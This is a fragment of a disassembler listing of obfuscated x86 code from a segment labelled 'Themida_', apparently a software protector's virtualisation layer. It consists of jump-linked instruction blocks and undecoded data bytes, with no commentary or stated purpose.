		dd 15F5h, 0E904C483h, 7E1Fh, 4C4EB0BEh,	7E9522Ah
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5394A3:				; CODE XREF: Themida_:0053F576j
		add	ebp, eax
		pop	eax
		jmp	loc_537F8D
; ---------------------------------------------------------------------------

loc_5394AB:				; CODE XREF: Themida_:00542A9Aj
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		jmp	loc_53F522
; ---------------------------------------------------------------------------

loc_5394B9:				; CODE XREF: Themida_:00537F9Ej
		pop	edi
		shr	eax, 5
		shr	eax, 3
		inc	eax
		xor	eax, 0A41775h
		jmp	loc_53B2C9
; ---------------------------------------------------------------------------
		db 81h
		dd 9085F4EAh, 5AD08935h, 0E958C629h, 3A49h, 0FFD8E1E9h
		dd 4BFFFh, 0FD890000h, 37EE815Fh, 17BEC45h, 37C681EEh
		dd 5D7BEC45h, 8B243487h, 14332424h, 24143124h, 5C241433h
		dd 0E9241489h, 0BB8h, 0CE93EB1h, 5000095h, 32F9473Eh, 8C6E1825h
		dd 5D8F707h, 0C20BFD7h,	5758C321h, 57FF7FBFh, 3C8E959h
		dd 81530000h, 4ECh, 1197E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539542:				; CODE XREF: Themida_:00538927j
		mov	esi, 4
		jmp	loc_540747
; ---------------------------------------------------------------------------
		dd 54E95352h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_539553:				; CODE XREF: Themida_:00542B76j
		sub	esp, 4
		mov	[esp], esi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	esi
		or	esi, 49E84A8Bh
		add	esi, 1
		jmp	loc_541A29
; ---------------------------------------------------------------------------
		db 52h
		dd 42474FFh, 77DFE9h, 0D1E95B00h, 81FFFFE5h, 0E00473C5h
		dd 0EF89580Bh, 7910E95Dh, 0E5890000h, 4C581h, 0B9510000h
		dd 2, 5559CD01h, 42474FFh, 24048F5Dh, 0FFE1C5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5395B1:				; CODE XREF: Themida_:0053D90Fj
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, esi
		jmp	loc_53C493
; ---------------------------------------------------------------------------

loc_5395C0:				; CODE XREF: Themida_:0053F75Ej
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		push	ecx
		mov	ecx, 24h
		push	ecx
		pop	edx
		pop	ecx
		add	edx, 5E61FB9h
		add	edx, edi
		sub	edx, 5E61FB9h
		jmp	loc_537617
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4EC81h, 2C890000h, 815D5424h, 4C5h, 4ED8100h, 87000000h
		dd 895C242Ch, 4812424h,	424h, 0B1685E00h, 8900004Fh, 4BB241Ch
		dd 81000000h, 311DD8C6h, 227DE97Fh, 58540000h, 405h, 4B95100h
		dd 1000000h, 70E959C8h,	87FFFFFAh, 295C243Ch, 50042454h
		dd 3A5E9h, 24248B00h, 475AE9h, 0F8F68100h, 8978AAC6h, 0E7D15EF7h
		dd 5E7DE781h, 0F7815B03h, 410F1C19h, 295FFB29h,	66E952D3h
		dd 29000000h, 0E0FCE9FEh, 835BFFFFh, 1EE904C4h,	68000097h
		dd 709976C4h, 5036E95Ah, 0EE810000h, 75AF2B25h,	2C07E9h
		dd 3C8B5400h, 4C48124h,	55000000h, 4BDh, 0E9EF0100h, 43CEh
		dd 0FFD6F9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5396C9:				; CODE XREF: Themida_:0053EA05j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_5377F9
; ---------------------------------------------------------------------------

loc_5396D3:				; CODE XREF: Themida_:0053D0E8j
		add	eax, edx
		add	eax, 6041DA1h
		push	esi
		jmp	loc_542DDC
; ---------------------------------------------------------------------------

loc_5396E0:				; CODE XREF: Themida_:00542DD7j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	eax, [esp]
		jmp	loc_53DE0C
; ---------------------------------------------------------------------------
		db 0BAh, 49h, 40h
		dd 0D301130Dh, 2434FF5Ah, 819BE9h, 0C8B6600h, 736B6824h
		dd 34890000h, 4EC8324h,	3E61E9h, 24048900h, 0E904EC83h
		dd 1B97h, 31240C33h, 0C33240Ch,	24248B24h, 0E9C8B70Fh
		dd 4868h, 90699BBAh, 9BC28170h,	0E9035743h, 5D4Fh, 0C82873B1h
		dd 0FFFCBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_539749:				; CODE XREF: Themida_:0053C857j
		push	ecx
		mov	ecx, 63A466C3h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		inc	ebx
		push	edx
		mov	edx, 6197384Bh
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 413B34F0h
		not	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_53B1CA
; ---------------------------------------------------------------------------
		db 86h
		dd 30D7F6F9h, 30CF30F9h, 0E9CA88F9h, 5641h, 0FEE9EE30h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53978B:				; CODE XREF: Themida_:0053B71Aj
		add	edi, 589D658Eh
		shl	edi, 6
		shr	edi, 8
		shl	edi, 4
		add	edi, 0D8CCB84h
		mov	edx, edi
		pop	edi
		and	edx, 0C5C2E04h
		jmp	loc_53F848
; ---------------------------------------------------------------------------
		dd offset asc_5AF028	; "ллллллллллллллллллллллллллллллллллллллл"...
		dw 81D8h
		dd 4ECh, 240C8900h, 0E80090B5h,	0E0686659h, 14896638h
		dd 0E229E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5397CE:				; CODE XREF: Themida_:005370ACj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp

loc_5397F8:				; CODE XREF: Themida_:loc_53A59Fj
		push	ecx
		push	5F74h
		jmp	loc_53742E
; ---------------------------------------------------------------------------

loc_539803:				; CODE XREF: Themida_:00542058j
		pop	edx
		jmp	loc_53EE95
; ---------------------------------------------------------------------------
		db 0BAh, 63h, 11h
		dd 554A3FF2h, 0F2115EBDh, 5DEA293Fh, 0E95AD001h, 364h
		dd 2434FF54h, 8124148Bh, 4C4h, 7C326800h, 3C890000h, 3C8B5424h
		dd 4C48324h, 4BB53h, 0DF010000h, 0E8E9535Bh, 8B000003h
		dd 0C4832414h, 4C28104h, 51000000h, 69AAE9h, 2434FF00h
		dd 4C4835Fh, 4C781h, 0E9560000h, 7352h,	7F1EBA52h, 542905D3h
		dd 585A0424h, 4EC8351h,	0FFF478E9h, 18E680FFh, 30B5F680h
		dd 5CE95AF3h, 89000096h, 0BD55241Ch, 1A5A3B77h,	92A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5398A1:				; CODE XREF: Themida_:0053C555j
		or	esi, ebp
		pop	ebp
		shr	esi, 2
		neg	esi
		push	ecx
		mov	ecx, 7B028853h
		sub	esi, ecx
		pop	ecx
		push	esi
		mov	esi, 0B096904h
		sub	eax, esi
		jmp	loc_540B43
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4133A005h, 0DFE4E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5398CA:				; CODE XREF: Themida_:0053C21Cj
		push	eax
		jmp	loc_541230
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 4, 269BC181h, 0D90160ACh, 269BE981h, 89E960ACh
		dd 2DFFFFEFh, 0F954511h, 4807E8C1h, 4DCF4D35h, 4D3BE950h
		dd 0FB290000h, 5BD8315Fh, 836AE9h
		db 0
; ---------------------------------------------------------------------------

loc_539909:				; CODE XREF: Themida_:00541F17j
		pop	edx
		add	eax, esi
		pop	esi
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_53864D
; ---------------------------------------------------------------------------
		dd 3A7FC181h, 20E95C6Ch
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_539923:				; CODE XREF: Themida_:0053E9BAj
		pop	ecx
		jmp	loc_5411BD
; ---------------------------------------------------------------------------
aXsmz		db 'XИ▄┤',0
		dw 5200h
		dd 1646A368h, 0EA815A31h, 6AE5606Ah, 0FFE28BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_539941:				; CODE XREF: Themida_:0053D8A7j
		push	ebp
		mov	ebp, 40E06180h
		push	eax
		push	esi
		mov	esi, 22C73882h
		push	ebp
		mov	ebp, 0
		sub	ebp, esi
		mov	esi, ebp
		pop	ebp
		neg	esi
		jmp	loc_537551
; ---------------------------------------------------------------------------

loc_539960:				; CODE XREF: Themida_:00537FF3j
		add	ebp, esi
		add	ebp, 0C07612Fh
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_53B2F3
; ---------------------------------------------------------------------------
		dd 0E95BDD01h, 2020h, 7A87CF81h, 0EF81417Bh, 3FF03838h
		dd 0E95FFA31h, 47E1h
; ---------------------------------------------------------------------------

loc_539990:				; CODE XREF: Themida_:0053D215j
		mov	eax, 61F63871h
		push	ebp
		push	36BB08A4h
		jmp	loc_537A5E
; ---------------------------------------------------------------------------
		dd 0FE759DBAh, 2444816Fh, 52652004h, 2454013Bh,	0F443E904h
		dd 0EF81FFFFh, 5EDD6D1Bh, 3C8BFD89h, 4C48124h, 1000000h
		dd 24148BD5h, 4C481h, 0ABE90000h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5399D7:				; CODE XREF: Themida_:00539C80j
		mov	[esp], esi
		jmp	loc_53C480
; ---------------------------------------------------------------------------
aJbGSiv		db 'J│Йвg[-И⌡v',0
		db 0
; ---------------------------------------------------------------------------

loc_5399EB:				; CODE XREF: Themida_:00542231j
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		push	598Bh
		mov	[esp], edx
		push	ebp
		push	edi
		jmp	loc_53CF89
; ---------------------------------------------------------------------------
		dw 6852h
		dd 26FC0D13h, 3D40E9h, 243C3100h, 2C0568h, 5107E900h, 0A3E90000h
		dd 21FFFFD3h, 3F6CE9C7h, 8B660000h, 9C68240Ch, 8900001Ch
		dd 0E6892434h, 0F7BB5350h, 0B831950Dh, 31950DFBh, 60E9D829h
		dd 0ACFFFFE3h, 2A4EE9h
		db 0
; ---------------------------------------------------------------------------

loc_539A4D:				; CODE XREF: Themida_:0054012Bj
		pop	ecx
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_53F756
; ---------------------------------------------------------------------------

loc_539A5B:				; CODE XREF: Themida_:0053E16Cj
		push	ecx
		mov	ecx, 14871CC3h
		jmp	loc_54073F
; ---------------------------------------------------------------------------

loc_539A66:				; CODE XREF: Themida_:0053F60Fj
		pop	ecx
		add	ebx, 0BEF9C8F2h
		add	edx, ebx
		jmp	loc_53F012
; ---------------------------------------------------------------------------
		dd 0CCFEDCF6h, 4661E9h,	8BD02900h, 25E92414h, 89FFFFF4h
		dd 0EC81241Ch, 4, 2DF8E9h, 2C8B6600h, 6454E924h, 58660000h
		dd 0EAE9CDFEh, 0BB00008Bh, 3D740775h, 815BDA89h, 0A77FC1C2h
		dd 4834E97Eh, 9BD0000h,	2919DA0Ch, 4CC6E9EBh, 34FF0000h
		dd 0C4835924h, 0ACF8104h, 816FF857h, 976D69C7h,	8A28E922h
		dd 0EA290000h, 83242C8Bh, 0D68904C4h, 7435E95Ah, 34890000h
		dd 1B685224h, 8B249401h, 0C4812414h, 4,	8102E2C1h, 0AC5ABFF2h
		dd 72DFE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539B0E:				; CODE XREF: Themida_:00542F5Aj
		pop	ebp
		add	esp, 4

loc_539B12:				; CODE XREF: Themida_:0053B6AAj
		push	42B8h
		mov	[esp], ebx
		push	ebp
		push	ecx
		mov	ecx, 68F56B2h
		xor	ecx, 3F3B54B4h
		sub	ecx, 172C47E7h
		jmp	loc_53BFDF
; ---------------------------------------------------------------------------

loc_539B32:				; CODE XREF: Themida_:0053A77Ej
		mov	esi, 51E274E1h
		push	eax
		mov	eax, 3D4E20E3h
		inc	eax
		inc	eax
		jmp	loc_54177A
; ---------------------------------------------------------------------------
		dd 498DC581h, 0B9514858h, 285B1629h, 8B59CD29h,	0C481243Ch
		dd 4, 8B242C87h, 0C8842424h, 0D258E99Ch, 0B151FFFFh, 6E2DE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539B72:				; CODE XREF: Themida_:0053D793j
		xor	ebp, 0C7B4E27Bh
		jmp	loc_540E91
; ---------------------------------------------------------------------------

loc_539B7D:				; CODE XREF: Themida_:0053E963j
		xchg	ebx, edx
		jmp	loc_53817F
; ---------------------------------------------------------------------------
		dd 405h, 74FF5000h, 8F580424h, 815C2404h, 4C4h,	4C48300h
		dd 51C8AF0Fh, 0D21CE99Ch, 0C383FFFFh, 241C8702h, 2F85E9h
		db 0
; ---------------------------------------------------------------------------

loc_539BB1:				; CODE XREF: Themida_:0053B085j
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_53B4C8
; ---------------------------------------------------------------------------
		db 83h
		dd 0C33104C4h, 24148B66h, 515B5453h, 5AC36853h,	34890000h
		dd 6803BE24h, 0CEE95AEFh, 80FFFFEFh, 0F78011C7h, 3DEF80B9h
		dd 5BF800h, 668C2CD0h, 8324148Bh, 0D8E902C4h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_539C13:				; CODE XREF: Themida_:0053CFCEj
		pop	ebx
		or	ebp, 157A0DFBh
		jmp	loc_542BF0
; ---------------------------------------------------------------------------

loc_539C1F:				; CODE XREF: Themida_:005390E9j
		add	dword ptr [esp], 791D5D8Ch
		pop	ecx
		sub	ecx, 791D5D8Ch
		pop	eax
		jmp	loc_538A29
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 6BD6C781h, 0DF014040h, 2D0DE9h, 24343300h, 0D324248Bh
		dd 0E99C240Ch, 0FFFFD16Eh, 8304C483h, 0DFE904ECh, 0FF00008Ah
		dd 3CE92434h, 81FFFFE3h, 277E9C2h, 42D2F700h, 0F78BD55h
		dd 63E9DA47h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539C7B:				; CODE XREF: Themida_:00536EE7j
					; Themida_:0053D4FAj
		push	10C9h
		jmp	loc_5399D7
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FFF024E9h, 20E95AFFh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539C93:				; CODE XREF: Themida_:0053BC55j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_541AD3
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 18A0h, 70B1E9h, 21840F00h, 81FFFFDBh, 47083BC6h
		dd 0DE3AE971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539CC2:				; CODE XREF: Themida_:00540640j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_542036
; ---------------------------------------------------------------------------

loc_539CCE:				; CODE XREF: Themida_:00537C1Fj
		add	esp, 4
		xchg	ecx, [esp]
		mov	eax, [esp]
		jmp	loc_53E737
; ---------------------------------------------------------------------------
		dd 0F61C381h, 34FF4BBDh, 23E95F24h, 66000089h, 0B6241489h
		dd 0E9ED049Eh, 6376h, 1638DC05h, 2DF82931h, 311638DCh
		dd 0FFE9555Fh
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_539D0B:				; CODE XREF: Themida_:00541ECEj
		pop	edx
		add	esp, 4
		jmp	loc_53CA2C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 3B7C79A4h, 3516855h,	15D0C0Dh, 835F5DE8h, 348904ECh
		dd 4CEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539D32:				; CODE XREF: Themida_:00539336j
		mov	esp, [esp]
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_53CA43
; ---------------------------------------------------------------------------
		db 81h
		dd 0B44017E6h, 81D6F71Ah, 7FFFEBF6h, 8BF201E7h,	0C4832434h
		dd 2EA8304h, 5C241487h,	240C8966h, 0C8287DB1h, 312C5966h
		dd 76C9E9h, 53B35300h, 0FFE3E8E9h, 592DADFFh, 2D550839h
		dd 21102153h, 0E550E905h, 25F9E943h, 0C2800000h, 1C280C9h
		dd 81CAE9h, 2C8B5000h, 4C48324h, 237E68h, 242C8900h, 8B2434FFh
		dd 0C4812414h, 4, 4C481h, 2C8B0000h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 31240C33h, 0C33240Ch,	0EBE95C24h, 5CFFFFCFh
		dd 8CF1E9h, 0FE95D00h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_539DE3:				; CODE XREF: Themida_:005401AAj
		push	esi
		mov	esi, 5F571DD0h
		jmp	loc_53E617
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 58812D0Ch, 0EE81FE01h, 58812D0Ch, 50243C8Bh,	405E089h
		dd 5000000h, 4,	0E9240487h, 7DAEh, 0E6C0E2B6h, 2E6C008h
		dd 0D08CB450h, 0FC4EE9E4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539E26:				; CODE XREF: Themida_:0053A2ACj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_53D674
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0ACh
		dd 0FFD9CCE9h, 90E952FFh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_539E4F:				; CODE XREF: Themida_:0053A229j
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_540EF2
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 42474FFh, 24048F5Bh, 1C37E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539E72:				; CODE XREF: Themida_:0054178Fj
		pop	esi
		or	edi, 385A367Fh
		dec	edi
		sub	edi, 7D1859B8h
		push	ecx
		mov	ecx, 55D44C8Ch
		shl	ecx, 8
		shr	ecx, 2
		shr	ecx, 8
		shr	ecx, 5
		xor	ecx, 2351A785h
		jmp	loc_53E83B
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 68h
		dd 1C2Ah, 0E9243C89h, 1DF0h, 2ECEE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539EB2:				; CODE XREF: Themida_:0053E612j
		pop	edx
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_53E816
; ---------------------------------------------------------------------------

loc_539EC3:				; CODE XREF: Themida_:0053E66Aj
		push	21CAh
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		jmp	loc_53C221
; ---------------------------------------------------------------------------
aBcf8Qssj	db '│Гf8{[QИ▒J',0
		db 0
; ---------------------------------------------------------------------------

loc_539EE7:				; CODE XREF: Themida_:0053D7E7j
		mov	esi, 3FF14629h
		dec	esi
		sub	esi, 0FFFFFFFFh
		jmp	loc_541D0E
; ---------------------------------------------------------------------------
aQIsT		db '╣q(КИ=T',0
		align 2

loc_539EFE:				; CODE XREF: Themida_:0053BCE4j
		add	ebp, 2DC6A4B9h
		or	edx, ebp
		pop	ebp
		xor	edx, 79CF57B2h
		push	edi
		mov	edi, 3F8370FCh
		jmp	loc_53DAD8
; ---------------------------------------------------------------------------
		dd 8108E1C1h, 0AE0243C1h, 1E9817Ch, 81000000h, 0A324DFF1h
		dd 59CE2175h, 347AE681h, 0BD550716h, 53883735h,	4D06E5C1h
		dd 4926E581h, 7AE968CCh, 0AD000079h, 0AA68AF05h, 4ACB0568h
		dd 0D80166FEh, 6CC4E9h,	89565C00h, 0E9F289EEh, 0FFFFDCE5h
		dd 240C8B66h, 2ED8E9h, 0CE4CE900h, 7CB1FFFFh, 68665904h
		dd 89665F31h, 0A0B22414h, 5A66D000h, 0E955C800h, 96Ch
		dd 4D2C0C2Ch, 685B512Ch, 3F3Bh,	0FFD294E9h, 32E95CFFh
		dd 66000080h, 8304EFC1h, 896602ECh, 0B8662404h,	1660001h
		dd 0D512E9C7h, 0FFE9FFFFh, 68FFFFCDh, 5EA9h, 57243489h
		dd 4037E9h, 66980400h, 2CD02859h, 0B2525A75h, 0E7EA8094h
		dd 86BAC280h, 0B45066EAh, 386EE9FFh, 0F660000h,	9C2404ABh
		dd 52ACE9h, 0C8B6600h, 4EC8124h, 89000000h, 0E189240Ch
		dd 6AC7E957h, 0E95C0000h, 7D9Fh
; ---------------------------------------------------------------------------

loc_53A014:				; CODE XREF: Themida_:00537484j
		mov	ecx, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_53F9EB
; ---------------------------------------------------------------------------
		dw 8FE9h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A033:				; CODE XREF: Themida_:0053BD31j
		push	0D0Eh
		mov	[esp], eax
		mov	eax, 128A2C8Ah
		add	[esp+0Ch], eax
		pop	eax
		sub	[esp+8], esi
		sub	dword ptr [esp+8], 128A2C8Ah
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_53F5E3
; ---------------------------------------------------------------------------
		dd 0E902C683h, 9CEh
; ---------------------------------------------------------------------------

loc_53A068:				; CODE XREF: Themida_:0053F829j
		add	esi, 25BC44F5h
		pop	ecx
		or	edi, esi
		pop	esi
		push	edx
		jmp	loc_53FD08
; ---------------------------------------------------------------------------
		dd 592434FFh, 73CC68h, 240C8900h, 62F968h, 48F5400h, 24048324h
		dd 0E62CE904h, 0EE81FFFFh, 1FD53EB0h, 3E1A6855h, 4890000h
		dd 5412B824h, 12E93651h, 59000060h, 685AD028h, 2EDAh, 1680E9h
		db 0
; ---------------------------------------------------------------------------

loc_53A0BD:				; CODE XREF: Themida_:0053B19Fj
		add	esp, 4
		add	esp, 4
		jmp	loc_53891B
; ---------------------------------------------------------------------------
		dd 0FFCCF5E9h, 65E95BFFh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A0D3:				; CODE XREF: Themida_:00541864j
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_53CAE3
; ---------------------------------------------------------------------------
		dd 0FFCCE1E9h, 1A8368FFh, 1C890000h, 0FDAFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A0EE:				; CODE XREF: Themida_:0053CAEEj
		push	edi
		mov	edi, 4E4A354Ah
		dec	edi
		add	edi, 0FFFFFFFFh
		sub	edi, 9ED3789h
		add	edi, 0CBF07C2Eh
		jmp	loc_53CB55
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSp_0		db '$ИP]',0
		align 2
		dw 0CE81h
		dd 52E51BE9h, 1725E9h, 48F5900h, 24248B24h, 0FFCC99E9h
		dd 74FF50FFh, 8F580424h, 50E92404h, 4000084h, 24148B2Ch
		dd 3004C483h, 0C0B60FC3h, 87048F66h, 0FFCC75E9h, 80F781FFh
		dd 0E934E473h, 2AD0h, 240C8B66h, 525E5456h, 4BF57h, 5A570000h
		dd 0AB9515Fh, 16ACC5Ch,	95FE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A176:				; CODE XREF: Themida_:0053DC19j
		not	ecx
		shl	ecx, 3
		jmp	loc_53A47F
; ---------------------------------------------------------------------------
		dd 5AD0015Bh, 64F368h, 24148900h, 6A4BE9h
		db 0
; ---------------------------------------------------------------------------

loc_53A191:				; CODE XREF: Themida_:00541C5Cj
		shl	edx, 1
		push	383h
		jmp	loc_5406E8
; ---------------------------------------------------------------------------

loc_53A19D:				; CODE XREF: Themida_:00538AA6j
		pop	ecx
		add	eax, 2D00008Bh
		add	ebx, eax
		jmp	loc_53B0C4
; ---------------------------------------------------------------------------
aMsa		db '╛И═',9,0
		align 10h
aZLHxu		db '┤,$▀$$hxu',0
		dw 8900h
		dd 81502414h, 3805242Ch, 34FF27C5h, 89535A24h, 4C381E3h
		dd 0E9000000h, 2343h, 43E9CCFEh, 81000046h, 467B90C7h
		dd 3651E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53A1EA:				; CODE XREF: Themida_:00542CD7j
		mov	eax, 2F394EB8h
		jmp	loc_5415DD
; ---------------------------------------------------------------------------
		dd 875DE901h, 0E95C240Ch, 83E1h, 5BCABB53h, 0B8503362h
		dd 65502EE9h, 8545C825h, 1F3D0545h, 0C331CED7h,	0F39E9h
		db 0
; ---------------------------------------------------------------------------

loc_53A21D:				; CODE XREF: Themida_:0053E76Bj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_539E4F
; ---------------------------------------------------------------------------
		dw 0FC88h
		dd 88D4F65Bh, 0F1B7E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A23A:				; CODE XREF: Themida_:0053A8D0j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_536EB8
; ---------------------------------------------------------------------------

loc_53A248:				; CODE XREF: Themida_:00539356j
		xor	eax, ebx
		push	ebx
		push	ecx
		jmp	loc_53B5DB
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 2E592DBBh, 81D3F760h, 4ECh, 24348900h, 156772BEh, 40F6812Eh
		dd 14E3B3Eh, 0DE015EF3h, 17C4685Bh, 14890000h, 2BA24h
		dd 0D6010000h, 7AC3E9h,	0DEF65900h, 0E2E9C686h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53A293:				; CODE XREF: Themida_:00542726j
		not	dword ptr [esp]
		pop	ecx
		shr	ecx, 5
		not	ecx
		sub	ecx, 0F9405873h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		jmp	loc_539E26
; ---------------------------------------------------------------------------
		db 30h,	4, 24h
		dd 30240432h, 0EC812404h, 2, 240C8966h,	88C68852h, 3815E9F1h
		dd 515F0000h, 0C1815954h, 4, 4C181h, 0FF510000h, 0E9042474h
		dd 5512h, 0E959C829h, 87D0h, 0E1885EB4h, 6248E9h
		db 0
; ---------------------------------------------------------------------------

loc_53A2F9:				; CODE XREF: Themida_:00541775j
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 66F3478Ch
		or	edi, 3BCB3705h
		neg	edi
		inc	edi
		jmp	loc_542D74
; ---------------------------------------------------------------------------

loc_53A310:				; CODE XREF: Themida_:005375D9j
		add	ebp, 0DDF7791h
		jmp	loc_542D7A
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 27DCh, 57241489h,	0C781E789h, 4, 4B951h
		dd 0CF290000h, 243C8759h, 57E9545Ch
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A343:				; CODE XREF: Themida_:0053882Ej
		dec	ebp
		xor	ebp, 380724EFh
		push	esi
		jmp	loc_538409
; ---------------------------------------------------------------------------
a_sO		db '_ИоO',0
		align 2
		dw 0C283h
		dd 24148704h, 3F152D5Ch, 525635C9h, 870A4568h, 0F2815A01h
		dd 4A37DAEh, 6C58E9h, 0CDE95300h, 0F7000080h, 0EFC147DFh
		dd 81D7F707h, 690F96C7h, 25F7816Dh, 1223A38h, 5898E9FDh
		dd 0E2810000h, 3B681A14h, 81D2F74Ah, 251715F2h,	0BE564222h
		dd 0CF9AF8FAh, 95EF231h, 34FF1C57h, 89575A24h, 4C781E7h
		dd 50000000h, 33EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_53A3C5:				; CODE XREF: Themida_:00541251j
		add	esi, 470365BEh
		and	esi, 1C043952h
		dec	esi
		shr	esi, 2
		jmp	loc_53C52C
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 8147DFF7h,	2FE3ECC7h, 5FFA89E3h, 7CE9D129h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53A3F3:				; CODE XREF: Themida_:0053F316j
		pop	esp
		sub	eax, 6DD9647Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 40000h
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5376F3
; ---------------------------------------------------------------------------
		db 66h
		dd 0E93CFB68h, 2EDBh, 4BA52h, 54010000h, 8B5A0424h, 0C4832404h
		dd 67B95104h, 817AE520h, 0A7D2BC9h, 6BE9815Dh, 17FEF7Dh
		dd 38BBE9C8h, 34BD0000h, 0E97E6004h, 1E3h, 0F969C581h
		dd 0F4E9E101h, 0FF00002Ch, 68582434h, 8EFh, 54240489h
		dd 0FF2434FFh, 99E92434h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53A47F:				; CODE XREF: Themida_:0053A17Bj
		or	ecx, 497E1C3Ah
		push	eax
		push	edi
		mov	edi, 557A38C1h
		push	eax
		mov	eax, 236A2331h
		sub	edi, eax
		pop	eax
		jmp	loc_541826
; ---------------------------------------------------------------------------
		dw 3605h
